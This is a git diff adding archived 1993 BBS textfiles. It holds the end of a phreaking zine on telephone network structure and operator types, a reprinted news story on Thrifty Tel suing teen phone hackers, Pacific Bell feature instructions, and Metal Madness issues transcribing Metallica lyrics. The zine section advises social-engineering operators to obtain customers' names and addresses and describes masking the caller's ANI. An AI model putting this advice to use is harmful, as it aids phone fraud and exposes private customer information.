946-64 + + +NON U.S. & CANADIAN DIALING +--------------------------- +With international dialing the world has been separated into 9 zones. To dial +an international number the format must include: + + International Prefix + Country Code + National Number + eg. 011 + XXX + XXX.XXXX + +In making a call the prefix of 011 can be swithed with the prefix of 01. The +011 number is used in International Direct Distance Dialing (IDDD) with the +remaining will contact an operator for assistance. +The country code is a number varying in size from 1-3 digits with the world +numbering code as the initial number. + +For example: + + 1 - North America (USA & Canada) + 2 - Africa + 3 - Europe + 4 - Europe + 5 - Non US North America + 6 - Australia + 7 - U.S.S.R. + 8 - Asia + 9 - Asia + + * Note the country code of 87X is reserved for Maritime Mobile + communications. + + 871 - Atlantic Ship Communications + 872 - Pacific Ship Communications + 873 - Indian Ocean Ship Communications + +All calls originating from the US & Canada are routed through "gateway" cities. +These 4ess's are the International Swithching Centers (ISC's) for country +code 1. Each ISC must convert the US signaling system of MU-255 to the +international system of CCITT. + + 'Nuff Said 'bout the network. + +Let's continue into the world of phone system operators and simple office +structure. +In the NPA system of North America, every switching office is assigned an +official name and class of operation. Depending on the duties performed each +is assigned a numerical value from 1-5. Your local CO is usually a non-toll +facility that performs simple routing tasks and is thus a class 5 end office. +All long distance calls leave your CO and get routed to another non-class 5 +toll office. In addition to the other class offices (1-4) there are also +class 4x (called intermediate points) offices and Remote Switching Unit (RSU) +offices (a 4x office with an unattended exchange encorperated with it). + + Class NAME ABBREVATION + ----- ---- ----------- + 1 Regional Center RC + 2 Sectional Center SC + 3 Primary Center PC + 4 Toll Center TC + 4P Toll Point TP + 4X Intermediate Point IP + 5 End Office EO + R Remote Switching Unit RSU + +When a call is initiated from your house it is sent to your local CO (EO) +where it is sent along to its destination. The CO tries to find the shortest +path from itself and its destination end office. It initially tries +inter-office trunk lines, but if none exist it searches for the next highest +(usually a class 4 toll center of some sort) office. If that trunk line is +busy or cannot be handled it is sent to another office or descends the office +hierarchy (next highest office) until it reaches it destination. +While end offices are in abundance the class 1 regional center (RC) is rare. +These offices provide the foundation of the entire network. + + * NOTE - When directing the INWATS number through the TSPS operator the +ANI for your call will produce a number with the prefix of your closest RC +and the remainder of 0's. The network assumes that your call is from within +the system and is circumvented. From 6i9 the ANI when dialed this way would +read 7i4.000.0000. + + More information of the network is another phyle. + This is just an overview to get you acquainted with the system. + +In everyone's phone experience (especially any phreak or hack's), it is +inevitable that you will speak to an operator at one time or another. +The following is a list of the more common operators and their abilities. + + TSPS Operator + ------------- +This is the standard "0" operator. Thier job is basically the host and +general information giver of the network. They have the ability to connect +you to most of the other facilities within the network and execute simple (if +need be) for the customers. The TSPS (Traffic Service Position System) +operator has immediate ANI and calll tracing abilities. They know when a call +originates from a non-COCOT (Customer Owned Coin Operated Telephone) pay +phone and can pull info up on the origin telephone owner. Be cautious when +dealing with these people. [i've found the TSPS op. to be quite nice and easy +to acquire info from; every op. i've spoken to using the social engineer +technique of a student doing a report has been VERY helpful.] + + INWARD Operator + --------------- +This operator assists your local TSPS operator in making calls. They will +never question a call within their service area. Usually a TSPS operator can +direct dial and does not use an inward operator. [On occasion i've +encountered an inward op., they are not too well informed and tend to be +robot-like ("Number please... Thank you").] + + Directory Assistance + -------------------- +When you dial "information" or any of the name search identification numbers +you speak with a directory assistance operator. They do not have automatic +ANI nor would have access to immediate ANI from another location. At local +levels an operator can obtain a number of a person or place but cannot give +unlilsted numbers. They are basically an automated white pages. They cannot +cross reference a number by address but can cross reference after an inquiry +is made. [These op.'s know nothing and are not easily succeptable to social +engineering.] + + CN/A Operators + -------------- +The CN/A (Customer Name and Address, now changed to location only in some +areas) operator is an operator accustomed with dealing with other telephone +company employees. The CN/A bureau is designed for linemen (or other +telephone employees) to easily obtain simple information on a customer solely +from their telephone number. These operators assume that you are an employee +of the network and are quite liberal with information. Social engineering is +quite easy and much useful information can be obtained on a person through +the CN/A operator. [In some areas this number is listed in the telephone +book, otherwise it can be obtained from most PiRaTeS.] + + Billing Operators + ----------------- +These are quite powerful operators. They have immediate access to the +information and ANI of the telephone you are calling from. They usually begin +with asking your name and calling number to verify if you are the billing +person. Social engineering is possible if you are beige boxing, or if yo +know all the information on the person paying the bill on the telephone you +are using. They have the ability to perform any task on line maintenance etc. +They are quite knowledgeable and are willing to assist. + + Conference Operators + -------------------- +This operator knows little and can do less. They perform one task and only +one task. Other than getting information on the different types of +conferences or establishing a conference they are a waste of time to talk to. + + Rogue Operators + --------------- +These operators are quite knowledgeable and powerful. Their duty is to roam +the network and assist when needed (They are usually powerful supervisers, +etc.). Because of their knowledge and experiences dealing with phreaks, etc. +they are reluctant to give out information (also they are not on the line to +talk, they are there because the operator they are filling in for is busy, +etc.). Like most people they are succeptable to social engineering. + +Usually an operator is nice and helpful, if a problem arises with one be sure +to get their operator number (or name) and ask to speak to their supervisor. +The supervisor is quite helpful and will immediately rectify the situation. + +For further information on the network or you have more questions on the +system contact your TSPS operator and request the number to the closest +Research Department. + +Next time - Switching equipment, COCOTS, maybe more, maybe less. + + ELeCTRoNiC VaMPYRe '93 + + (--------------------------------------------------------) + + Thrifty Tel Inc. + by Chaos + + (--------------------------------------------------------) + + * The following is an exert from the Times Advocate, Monday, + * April 12, 1993, page B1 section 1. + + Jeffrey Cushing knew his teen-age son was a "computer-freek," +[gee this guy sure did his research, would it not be PHreak with a +PH?] spending hours hunched over a bedroom keyboard, playing games +and tapping out messages to friends. + It seemed like wholesome, high-tech fun - until Cushing was +sued last April by a Garden Grove telephone company that accused +his son of hacking into its long-distance lines. + The tab: $80,000. "I was in shock," said Cushing, a 51 year- +old advertising executive from Huntington Beach. "All of a sudden +this guys knocks on the door at 9 p.m. and serves me with this +humongous suit." + The war against hackers who steal longdistance telephone time +has left a trail of slackjawed parents throughout California. + Hit with lawsuits, search warrants and demands for damages, +many parents are gulping hard and paying the toll for telephone +fraud. + The practice isn't limited to Orange County, either. +Recently, the parents of an Escondido boy caught hacking were +ordered to pay $33,000 in damages by an Orange County judge. + Although no record is kept, some industry analysts estimate +that telephone fraud drains as much as $5 billion a year from +companies nation wide. [From profit that they could have made, not +acutal lost money, keep this in mind] + "Fraud on the (telephone) network is still one of the most +devastating thing to longdistance companies, especially the smaller +ones," said Jim Smith, vice president of the 34-member California +Association of Long Distance Telephone Companies. + The culprits are juveniles, whose parents know little about +computers and less about what their children are doing with them. + At the forefront in pursuing the dial-tone desperados is +Thrifty-Tel Inc. of Garden Grove, which in 1990 became the first +telephone company to impose a tariff on hackers. + The idea was copied by several other small phones companies in +California, although Thrifty's tariff remains the highest at +$2,880, per day, per line. + As part of every settlement, Thrifty also confiscates the +offending computer. + "This is designed to spank'em hard. it can (financially) wipe +out a family," said Dale L. herring, Thrifty's director of +security. "I sympathize, to some extent, but why should our +company absorb the loss? Giving their kids a computer and a modem +is like giving them a loaded gun." + Thrifty estimates its hacker losses at $22,000 a month. + Over the past three years the company has recovered nearly $1 +million and has nabbed 125 hackers - the vast majority of them +juveniles. About 24 cases were prosecuted with nearly all the +defendants pleading guilty. + Early this month Thrifty busted a 10-member ring of teen-age +hackers stretching from La Habra to Mission Viejo. + Criminal charges are pending against one of the suspects, a +19-year-old Irvine man who is accused of having called Thrifty's +computer system 6,435 times in 24 days. More than 1,000 calls came +on Christmas. + The bill for Thrifty: $75,000. + For the novice, hacking programs with names such as "Code +Thief Deluxe" are widely available and can be downloaded without +charge from computer bulletin boards. + "It's becoming a subculture. Just as kids were sucked into +'Dungeons and Dragons' they're being sucked into hacking," said +Herring of Thrifty. + Often teen-age hackers are highly intelligent loners, addicted +to the worldwide computer bulletin boards that allow them to +communicate with others of their ilk. + "But they run up $300 to $400 in monthly phone bills, their +parents go ballistic, so they turn to hacking," Herring said. + Unknown to the young hackers, some calls can be traced. +[Notice this SOME] Digging through stacks of computer printouts, +Herring and other experts at Thrifty have followed the electronic +trail over the past three years to : + * A high school student in Santa Ana who was blamed for more than +$240,000 in losses to Thrifty and two other longdistance companies +in 1991. The boy pleaded guilty to telephone fraud. + * A six-member ring of San Diego high school students who raided +the system in March. Tehir families are paying more than $100,000 +in damages. + Herring said the response from parents is always the same. +"Their first reaction is they want to kill their kids. Then, 24 +hours later, they want to kill us," Herring said. + Last year, a 63-year-old father from San Diego responded to +Thrifty's demand for $16,000 by filing a harassment suit. The man +contended that he suffered from a nervous condition and had been +warned by his doctor to avoid emotional shock. + And what could be more shocking then begin hit with Thrifty's +$2,880-a-day tariff, which the Public Utilities Commision approved +in 1990? + The tariff is meant to recover the costs of investigating +hackers, paying attorneys and losing customers who've been +victimized. + While the fee has been upheld in court, some parents complain +that it is unfar and inflated. The actual cost of the pirated +phone calls ammounts to only a small part of the huge damages +sought by Thrifty. + Part of Thrifty's aggression in civil court comes from its +growing inability to get the hackers into criminal court. + + (--------------------------------------------------------) + + New Pacific Bell Features + by Chaos + + (--------------------------------------------------------) + +Repeat Dialing +~~~~~~~~~~~~~~ +It happens often. You need to make an important call--but the +phone number you're trying to reach is busy. You could keep +trying. But it's a lot easier to let Repeat Dialing keep trying +for you. + +Repeat Dialing redials the last phone number you called, and keeps +trying ever 45 seconds for up to 30 minutes. + +To use repeat dialing : + +To call back the last number you dialed + * Hang up;lift receiver;wait for dialtone + * Press *66 (Rotary phone dial 1166). + If this line is now free, your call will go through as usual. + If the line is still busy: + * Wait for recorded instructions. They will tell you what to do + next. Then hangup. + * Use your phone as usual to make or receive calls. When you + line and the line you're trying to reach are both free : + * Your phone will signal you with a distinctive ring. + * Lift your receiver. Your call will be places automatically. + +Select Call Forwarding +~~~~~~~~~~~~~~~~~~~~~~ +You have to go out--but you're also expecting an important call. +Now you can have that call forwarded to you--and other important +calls, too. But you won't have to get the unimportant ones. Now +you can select just the calls you want with Select Call Forwarding. + +To use select call forwarding: + * Lift receiver; wait for dial tone. + * Press *63 (Rotart phone dial 1163). + * Dial 3;wait until recorded instructions begin. +To enter your forwarding phone number. + * Enter phone number where calls should go, then press # (Rotary + phone simply dial phone number). + * If the phone number is correct, dial 1. + * If the phone number is not correct dial 0; then enter the + correct forwarding phone number, + * Wait for confirmation announcment. + +Priority Ringing +~~~~~~~~~~~~~~~~ +Wouldn't it be nice to know--before answering--if a phone call was +from somebody you really wanted to talk to? Now, with Priority +Ringing, your telephone will tell you when a call is important. + +To use priority ringing: + * Lift receiver; wait for dial tone. + * Press *61 (Rotary dial 1161). + * Dial 3 + * Use list editing commands + +Notice +~~~~~~ +The new Custom Calling servies are not available with some types of +telephone services and are not available in some areas. These +services work only on calls to and from locations within the same +calling area. If you have dificulty using a feature from a +particular phone number, contact your local Pacific Bell Business +Office for information about specific telephone prefixes currently +included in your Service Area. + +Misc. Info +~~~~~~~~~~ +Remember, send all mail to : + +MAGIK@pnet01.cts.com VIA Internet or (lamers) WWiVNeT #151 @16964 + +(-eof-) diff --git a/textfiles.com/magazines/METALMADNESS.1 b/textfiles.com/magazines/METALMADNESS.1 new file mode 100644 index 00000000..be324049 --- /dev/null +++ b/textfiles.com/magazines/METALMADNESS.1 @@ -0,0 +1,21 @@ + +T E X T F I L E S + +

+Metal Madness (1993) +

+

+ + +
+
Filename +Size +Description of the Textfile
metal01.txt 3072
 Metal Madness Issue 01: An Introduction (1993) +
metal02.txt 13312
 Metal Madness Issue 02: The King of Metal: Metallica (1993) +
metal03.txt 13312
 Metal Madness Issue 03: The Master of Puppets Lyrics (1993) +
metal04.txt 6144
 Metal Madness Issue 04: The Movie Mirror (1993) +
metal05.txt 5120
 Metal Madness Issue 05: Metallica Members Closeup (1993) +
metal06.txt 8192
 Metal Madness Issue 06: Lyrics to Fade to Black (1993) +
metal07.txt 12288
 Metal Madness Issue 07: Transcription of Metallica Abum (1993) +
metal08.txt 18432
 Metal Madness Issue 08: Metallica Lyrics (1993) +

There are 8 files for a total of 79,872 bytes.
\ No newline at end of file diff --git a/textfiles.com/magazines/METALMADNESS/.windex.html b/textfiles.com/magazines/METALMADNESS/.windex.html new file mode 100644 index 00000000..e67d5f64 --- /dev/null +++ b/textfiles.com/magazines/METALMADNESS/.windex.html @@ -0,0 +1,21 @@ + +T E X T F I L E S + +

+Metal Madness (1993) +

+

+ + +
+
Filename +Size +Description of the Textfile
metal01.txt 3072
 Metal Madness Issue 01: An Introduction (1993) +
metal02.txt 13312
 Metal Madness Issue 02: The King of Metal: Metallica (1993) +
metal03.txt 13312
 Metal Madness Issue 03: The Master of Puppets Lyrics (1993) +
metal04.txt 6144
 Metal Madness Issue 04: The Movie Mirror (1993) +
metal05.txt 5120
 Metal Madness Issue 05: Metallica Members Closeup (1993) +
metal06.txt 8192
 Metal Madness Issue 06: Lyrics to Fade to Black (1993) +
metal07.txt 12288
 Metal Madness Issue 07: Transcription of Metallica Abum (1993) +
metal08.txt 18432
 Metal Madness Issue 08: Metallica Lyrics (1993) +

There are 8 files for a total of 79,872 bytes.
diff --git a/textfiles.com/magazines/METALMADNESS/metal01.txt b/textfiles.com/magazines/METALMADNESS/metal01.txt new file mode 100644 index 00000000..60352cfe --- /dev/null +++ b/textfiles.com/magazines/METALMADNESS/metal01.txt @@ -0,0 +1,55 @@ + METAL.01 + + +O.k. Here is another text file from Lubbock, Texas. If you are sick of these +files, why the fuck did you download this anyway? + + +These files are dedicated to all metalheads, wanna-be's, and all lovers +of the ruling music we call "METAL". + + These files are written by two of the c00lest d00ds in town--- + Splattergut(who has the idea) and Blind Cyclops(who has the material) +We hope that these files inspire you to get the music and that the music puts +your head into head-bangin', next-swingin', face-smashin', all out thrashin' +action + + +Will will be putting out all the Metallica, Megadeth, Anthrax, and some AC DC +albums. We will also have files dedicated to our idols--Ozzie and Jimi +Hendrix. + + + Every tenth file will have the review of the past 9. + + DISCLAIMER DISCLAIMER DISCLAIMER DISCLAIMER DISCLAIMER DISCLAIMER + =============================================================== + | WE ARE IN NO WAY COPYING GwD, cDc, OR ANY F.U.C.K. FILES| + | OR ANY OTHER TEXT. THESE ARE FOR INFORMATION| + |AND ENTERTAINMENT PURPOSES ONLY! IF YOU GO AND BURN YOUR CAT| + |OR KILL YOUR PARENTSIT'S NOT OUR FUCKING FAULT! | + |AND DON'T TRY TO BLAM THAT SHIT ON US!!!!!!!!!!!!!!!!!!!!!!!!| + =============================================================== + + +We hope you enjoy our shit! + + + +Metal Madness Copyright (c) 1993 +All rights reserved. + + + + +P.S.---All we ask of YOU is that these files are treated with respect + and that they stay in their true form of METALxx.TXT + + + + + + + + + \ No newline at end of file diff --git a/textfiles.com/magazines/METALMADNESS/metal02.txt b/textfiles.com/magazines/METALMADNESS/metal02.txt new file mode 100644 index 00000000..d55ecac8 --- /dev/null +++ b/textfiles.com/magazines/METALMADNESS/metal02.txt @@ -0,0 +1,494 @@ +All right...you got the 2nd edition of Metal Madness! + + +Metal02.txt is dedicated to the king of Metal today, which of course is + !METALLICA! + + +LYRICS TO "KILL 'EM ALL" <_METALLICA_> +HIT THE LIGHTS: + +No life till leather +We are gonna kick some ass tonight +We got the metal madness +When our fans start screaming its right well alright +When we start to rock +We never want to stop again + + Hit the lights + Hit the lights + Hit the lights + +You know our friends are insane +We are gonna blow this place away +With volume higher +Than anything today the only way +When we start to rock +We never want to stop again + + Hit the lights + Hit the lights + Hit the lights + +With all out screaming +We are gonna rip right through your brain +We got the lethal power +It is causing you sweet pain oh sweet pain +When we start to rock +We never want to stop again + + Hit the lights + Hit the lights + Hit the lights + + +THE FOUR HORSEMEN: + +By the last breath of the fourth winds blow +Better raise your ears +The sound of hooves knock at your door +Lock up your wife and children now +It's time to wield the blade +For now you have got some company + + The horsemen are drawing nearer + On the leather steeds they ride + They have come to take your life + On through the dead of night + With the four horsemen ride + Or choose your fate and die + +You have been dying since the day +You were born +You know it has all been planned +The quartet of deliverence rides +A sinner once a sinner twice +No need for confession now +Cause now you have got the fight of your life + + The horsemen are drawing nearer + On the leather steeds they ride + They have come to take your life + With the four horsemen ride + Or choose your fate and die + +Time +Has taken it's toll on you +The lines that crack your face +Famine +Your body has torn through +Withered in every place +Pestilence +For what you have had to endure +And what you have put others through +Death +Deliverance for you for sure +There is nothing you can do + +So gather round young warriors now +And saddle up your steeds +Killing scores with demon swords +Now is the death of doers of wrong +Swing the judgment hammer down +Safely inside armor blood guts and sweat + + The horsemen are drawing nearer + On the leather steeds they ride + They have come to take your life + On through the dead of night + With the four horsemen ride + Or choose your fate and die + + +Motorbreath: + +Living and dying laughing and crying +Once you have seen it you will never + Be the same +Life in the fast lane is just how it seems +Hard and it is heavy dirty and mean + + Moterbreath + It's how I live my life + I can't take it any other way + Motorbreath + The sign of living fast + It is going to take + Your breath away + +Don't stop for nothing its full speed + Or nothing +I am taking down you know whatever is + In my way +Getting your kicks asyou are shooting + The line +Sending the shivers up and down your spine + + Motorbreath + Its how I live my life + I can't take it any other way + Motorbreath + The sign of living fast + It is gonna to take + Your breath away + +Those people who tell you not to take chances +They are all missing on what life is all about +You only live once so take hold of the chance +Don't end up like others the same song and dance + + Motorbreath + Its how I live my life + I can't take it any other way + Motorbreath + The sign of living fast + It is going to take + Your breath away + +JUMP IN THE FIRE: + +Down in the depths of my firey home +The summons bell will chime +Tempting you and all the earth +To join our sinful kind +There is a job to be done and i'm the one +You people make me do it +Now It's time for your fate and I won't hesitate +To pull you down in this pit + + So come on + Jump in the fire + So come on + Jump in the fire + +With hell in my eyes and with death in my viens +The end is closing in +Feeding on the minds of man +And from their souls within +My disciples all shout to search out +And they always shall obey +Follow me now my child +Not the meek or the mild +But do just as i say + + So come on + Jump in the fire + So come on + Jump in the fire + +Jump by your will or be taken by force +I'll get you either way +Trying to keep the hellfire lit +I am stalking you as prey +Living your life as me I am you you see +There is part of me in every one +So reach down and grab my hand and walk with me through the land +Come home where you belong + + So come on + Jump in the fire + So come on + Jump in the fire + +<> + +Whiplash: + +Late at night all systems go +You have come to see the show +We do our best you're the rest +You make it real you know +There is a feeling deep inside +That drives you fucking mad +A feeling of a hammerhead +You need it oh so bad + + Adrenalin starts to flow + You're thrashing all around + Acting like a maniac + Whiplash + +Bang your head against the stage +Like you never did before +Make it ring make it bleed +Make it really sore +In a frenzied madness +With your leather and your spikes +Heads are bobbing all around +Its hot as hell tonight + + Adrenalin starts to flow + You're thrashing all around + Acting like a maniac + Whiplash + +Here on stage the marshall noise +Is piercing through your ears +It kicks your ass it kicks your face +Exploding feeling nears +Now is the time to let it rip +To let it fucking loose +We are gathered here to maim and kill +'Cause this is what we choose + + Adrenalin starts to flow + You're thrashing all around + Acting like a maniac + Whiplash + +The show is through the metal is gone +Its time to hit the road +Another town another gig +Again we will explode +Hotel rooms AND motorways +Life out here is raw +But we will never stop +We will never quit +'Cause we are Metallica + + Adrenalin starts to flow + You're thrashing all around + Acting like a maniac + Whiplash + + +PHANTOM LORD: + +Sound is ripping through your ears +The deafening sound of metal nears +Your bodies waiting for his whips +The taste of leather on your lips + + Hear the cry of war + Louder than before + With his sword in hand + To controll the land + crushing metal strikes + On this frightening night + Fall onto your knees + For the Phantom Lord + +Victims falling under chains +You hear the crying dying pains +The fist of terrors breaking through +Now There's nothing you can do + + Hear the cry of war + Louder than before + With his sword in hand + To controll the land + Crushing metal strikes + On this frightening night + For the Phantom Lord + +The leathered armies have prevailed +The Phantom Lord has never failed +Smoke is lifting from the ground +The rising volume metal sound + + Hear the cry of war + Louder than before + With his sword in hand + To controll the land + Crushing metal strikes + On this frightening night + For the Phantom Lord + +Fall to your knees +and bow to the Phanotm Lord + + +NO REMORSE: + +No mecy for what we are doing +No thought to even what we have done +We Don't need to feel the sorrow +No remorse foe the helpless one + + War without end + No remorse no repent + We Don't care what it meant + Another day another death + Another sorrow another breath + No remorse no repent + We Don't care what it meant + Another day another death + Another sorrow another breath + +Blood feeds the war machine +As it eats it's way across the land +We Don't need to feel the sorrow +No remorse is the one command + + War without end + No remorse no repent + We Don't care what it meant + Another day another death + Another sorrow another breath + No remose no repent + We Don't care what it meant + Another day another death + Another sorrow another breath + +Only the strong survive +No will to save the weaker race +We are ready to kill at all comers +Like a loaded gun right at your face + + War without end + No remorse no repent + We Don't care what it meant + Another day another death + Another sorrow another breath + No remorse no repent + We Don't care what it meant + Another day another death + Another sorrow another breath + +Attack +Bullets are flying +People are dying +With madness surrounding all hell's breaking loose +Souldiers are hounding +Bodies are mounting +Cannons are shouting to take thier abuse +With war machines going +Blood starts to flowing +No mercy given to anyone hear +The furious fighting +Swords are like lightning +It all becomes frightening you +Know death is near +NO REMORSE + +SEEK AND DESTROY: + +We are scanning the scene +In the city tonight +We are looking for you +To start up a fight +There is an evil feeling +in our brains +But it is nothing new +You know it drives us insane + + Running + On our way + Hiding + You will pay + Dying + One thousand deaths + Running + On our way + Hiding + You will pay + Dying + One thousand deaths + Searching + Seek and destroy + Searching + Seek and destroy + Searching + Seek and destroy + Searching + Seek and destroy + +There is no escape +And that is for sure +This is the end we won't take any more +Say goodbye +To the world you live in +You have always been taking +But now you're giving + + Running + On our way + Hiding + You will pay + Dying + One thousand deaths + Running + On our way + Hiding + You will pay + Dying + One thousand deaths + Searching + Seek and destroy + Searching + Seek and destroy + Searching + Seek and destroy + Searching + Seek and destroy + +Our brains are on fire +With the feeling to kill +And it will not go away +Until our dreams are fulfilled +There is only one thing +On our minds +Don't try running away +Cause You're the one we will find + + Running + On our way + Hiding + You will pay + Dying + One thousand deaths + Running + On our way + Hiding + You will pay + Dying + One thousand deaths + Searching + Seek and destroy + Searching + Seek and destroy + Searching + Seek and destroy + Searching + Seek and destroy + + +METAL MILITIA: + +Thunder and lightning the gods take revenge +Senseless destruction +Victims of fury are cowerdly now +Running for safety +Stabbing the harlot to pay for her sins +Leaving the virgin +Suicide running as if it was free +Ripping and tearing + + On through the mist and the madness + We are trying to get the message to you + METAL MILITIA + METAL MILITIA + METAL MILITIA + +We are as one as we all are the same +Fighting for one cause +Leather and metal are our uniforms +Protecting what we are +Joining together to take on the world +With our heavy metal +Spreading the message to everyone here +Come let yourself go + + On through the mist and the madness + We are trying to get the message to you + METAL MILITIA + METAL MILITIA + METAL MILITIA + + +Editors notes:We hope you enjoyed Kill 'em All, like we did.... + +Metal Madness Copyright (c) 1993 +All rights reserved + + \ No newline at end of file diff --git a/textfiles.com/magazines/METALMADNESS/metal03.txt b/textfiles.com/magazines/METALMADNESS/metal03.txt new file mode 100644 index 00000000..173fe745 --- /dev/null +++ b/textfiles.com/magazines/METALMADNESS/metal03.txt @@ -0,0 +1,467 @@ +Welcome to the 3rd edition of Metal Madness! If you don't have edition 1 +or 2, you're a wuss! But all in all we hope you enjoy these. If you have +any comments whatsoever, please mail splattergut or blind cyclops on any +BBS + +NOW FOR THE FUN PART-=-=-this issue of Metal Madness contains Metallica's +second major album....MASTER of PUPPETS!!!! Well, anyways...here's the +fucking lyrics you wanted. + +LYRICS TO MASTER OF PUPPETS <_METALLICA_> + +Battery: + +Lashing out the action, returning the reaction +Weak are ripped and torn away +Hypnotizing power, crushing all that cower +Battery is here to stay + + Smashing through the boundaries + Lunacy has found me + Cannot stop the battery + Pounding out aggresion + Turns into obsession + Cannot kill the battery + + Cannot kill the family + Battery is found in me + + Battery + +Crushing all deceivers, mashing non-believers +Never ending potency +Hungary voilence seekers, feeding off the weaker +Breeding on insanity + + Smashing through the boundaries + Lunacy has found me + Cannot stop the battery + Pounding out aggresion + Turns into obsession + Cannot kill the battery + + Cannot kill the family + Battery is found in me + + Battery + +Circle of destruction, hammer comes crushing +Powerhouse of energy +Whipping up a fury, dominating flurry +Breeding on insanity + + Smashing through the boundaries + Cannot stop the battery + Pounding out aggresion + Turns into obsession + Cannot kill the battery + + Cannot kill the family + Battery is found in me + + Battery + + +MASTER OF PUPPETS: + +End of passion play, crumbling away +I'm your source of self destruction +Veins that pump with fear, sucking darkest clear +Leading on your death's construction +Taste me you will see +More is all you need +you're dedicated to +How I'm killing you + + Come crawling faster + Obey your master + Your life burns faster + Obey your master + MASTER + + Master of puppets I'm pulling your strings + Twisting your mind and smashing your dreams + Blinded by me, you can't see a thing + Just call my name, 'cause I'll hear you scream + MASTER + MASTER + Just call my name, 'cause I'll hear you scream + MASTER + MASTER + +Neddlework the way, never you betray +Life of death becoming clearer +Pain monopoly, ritual misery +Chop your breakfast on a mirror +Taste me you will see +More is all you need +Yor're dedicated to +How I'm killing you + + Come crawling faster + Obey your master + Your life burns faster + Obey your master + MASTER + + Master of puppets I'm pulling your strings + Twisting your mind and smashing your dreams + Blinded by me you can't see a thing + Just call my name, 'cause I'll hear you scream + MASTER + MASTER + Just call my name, 'cause I'll hear you scream + MASTER + MASTER + +Master, master, wher's the dreams that I've been after? +Master, master, you promised only lies +Laughter, laughter, all I hear or see is laughter +Laughter, laughter, laughing at my cries + +Hell is worth all that, natural habitat +Just a rhyme without a reason +Neverending maze, drift on numbered days +Now your life is out of season +I will occupy +I will help you dye +I will run through you +Now I rule you too + + Come crawling faster + Obey your master + Your life burns faster + Obey your master + MASTER + + Master of puppets I'm pulling your strings + Swisting your mind and smashing your dreams + Blinded by me, you can't see a thing + Just call my name, 'cause I'll hear you scream + MASTER + MASTER + Just call my name, 'cause I'll hear you scream + MASTER + MASTER + + +THE THINGS THAT SHOULD NOT BE: + +Messanger of fear in sight +Dark deception kills the light + +Hybrid children watch the sea +Pray for father, roaming free + + Fearless wretch + Insanity + He watches + Lurking beneath the sea + Great old one + Forbidden Sight + He searches + Hunter of the shadows is rising + Immortal + In madness you dwell + +Crawling chaos, underground +Cult has summoned, twisted sound + +From our ruins once possessed +Falling city, living death + + Fearless wretch + Insanity + He watches + Lurking beneath the sea + Great old one + Forbidden Sight + He searches + Hunter of the shadows is rising + Immortal + In madness you dwell + +Not dead which eternal lie +Stranger eons death may die + +Drain you of your sanity +Face the thing that should not be + + Fearless wretch + Insanity + He watches + Lurking beneath the sea + Great old one + Forbidden Sight + He searches + Hunter of the shadows is rising + Immortal + In madness you dwell + + +WELCOME HOME: +(SANITARIUM) + +Welcome to where time stands still +No one leaves and no one will +Moon is full, never seems to change +Just labeled mentally deranged +Dream the same thing every night +I see our freedom in my sight +No locked doors, no windows barred +No things to make my brain seemed scaried + +Sleep my friend and you will see +That dream is my reality +They keeped me locked up in this cage +Can't they see it's my brain says rage + + Sanitarium, leave me be + Sanitarium, just leave me alone + +Build my fear of what's out there +And cannot breathe the open air +Whisper things into my brain +Assuring me that I'm insane +They think our heads are in their hands +But violent use brings violent plans +Keep him tied, it makes him well +He's getting better, can't you tell? + +No more can they keep us +Listin, damn it, we will win +They see it right, they see it well +But they think this saves us from our hell + + Sanitarium, leave me be + Sanitarium, just leave me alone + Sanitarium, just leave me alone + +Fear of living on +Natives getting restless now +Mutinty in the air +Got some death to do +Mirror stares back hard +Kill, it's such a friendly word +Seems the only way +For reaching out again + + +DISPOSABLE HEROES: + +Bodies fill the fields I see, hungary heroes end +No one to play soldier now, no one to pretend +Running blind through killing fields, bred to kill them all +Victim of what said should be +A servant 'till i fall + + Soldier boy, made of clay + Now an empty shell + Twenty one, only son + But he served us well + Bred to kill, not to care + Do just as we say + Finished here, greetings death + He's yours to take away + + Back to the front + you'll do what I say, when I say + Back to the front + You will die when I say, you will die + Back to the front + you coward + you servant + you blindman + +Barking of machinegun fire, does nothing to me now +Sounding of the clock that ticks, get used to it somehow +More a man, more stripes you bear, glory seeker trends +Bodies fill the fields I see +The slaughter never ends + + Soldier boy, made of clay + Now an empty shell + Twenty one, only son + But he served us well + Bred to kill, not to care + Do just as we say + Finished here, greetings death + He's yours to take away + + Back to the front + You do what I say, when I say + Back to the front + You will die when I say, you will die + Back to the front + you coward + you servant + you blindman + +Why, am I dying? +Kill, have no fear +Lie, live off lying +Hell, hell is here + +I was born for dying + +Life planned out before birth, nothing I could say +Had no chance to see myself, moulded day by day +Looking back I realize, nothing have I done +Left to die with only friend +Alone I clench my gun + + Soldier boy, made of clay + Now an empty shell + Twenty one, only son + But he served us well + Bred to kill, not to care + Do just as we say + Finished here, greeting death + He's yours to take away + + Back to the front + You will do what I say, when I say + Back to the front + You will die when I say, you must die + Back to the front + you coward + you servant + you blindman + +Back to the front + + + + +LEPER MASSIAH: + +Spineless from the start +Circus comes to town, you play the lead clown +Please, please +spreading his disease, living by his story +Knees, knees +Falling to your knees, suffer for his glory +you will + + Time for lust, time for lies + Time to kiss your life goodbye + Send me money, send me green + Heaven you will meet + Make a contribution + And you'll get a better seat + Bow to leper Messiah + +Marvel at his tricks, need your sunday fix +Blind devotion came, rotting your brain +Chain, chain +Join the endless chain, taken by his glamour +Fame, fame +Infection is the game, stinking drunk with power +We see + + Time for lust, time for lie + Time to kiss your life goodbye + Send me money, send me green + Heaven you will meet + Make a contribution + And you'll get a better seat + Bow to leper Messiah + +Witchery, weakening +Sees the sheep are gathering +Set the trap, hypnotize +Now you follow + + Time for lust, time for lie + Time to kiss your life goodbye + Send me money, send me green + Heaven you will meet + make a contribution + And you'll get a better seat + + Lie + + +ORION: + +Well now, we can't exactly write this because there are no words to write! +It is 8 minutes of instrumental...... + + +DAMAGE, INC.: + +Dealing out the agony within +Charging hard and no one's gonna give in +Living on your knees, conformity +Or dying on your feet for honesty +Inbred, our bodies work as one +Bloody, but never cry submision +Following our instinct not a trend +Go against the grain until the end + + Blood will follow blood + Dying time is here + DAMAGE incorporated + +Slamming through, don't fuck with razorback +Stepping out? You'll feel our hell on your back +Blood follows blood and we make sure +Life ain't for you and we're the cure +Honesty is my only excuse +Try to rob us of it, but it's no use +Steamroller action crushing all +Victim is your name and you shall fall + + Blood will follow blood + Dying time is here + DAMAGE incorporated + +We chew and spit you out +We laugh, you scream and shout +All flee, with fear you run +you'll know just where we come from + + DAMAGE incorporated + +Damage jackels ripping right through you +Sight and smell of this, it gets me goin' +Know just how to get just what we want +Tear it from your soul in nightly hunt +Fuck it all and fucking no regrets +Never happy endings on these dark sets +All's fair for Damage inc. you see +Step a little closer if you please + + 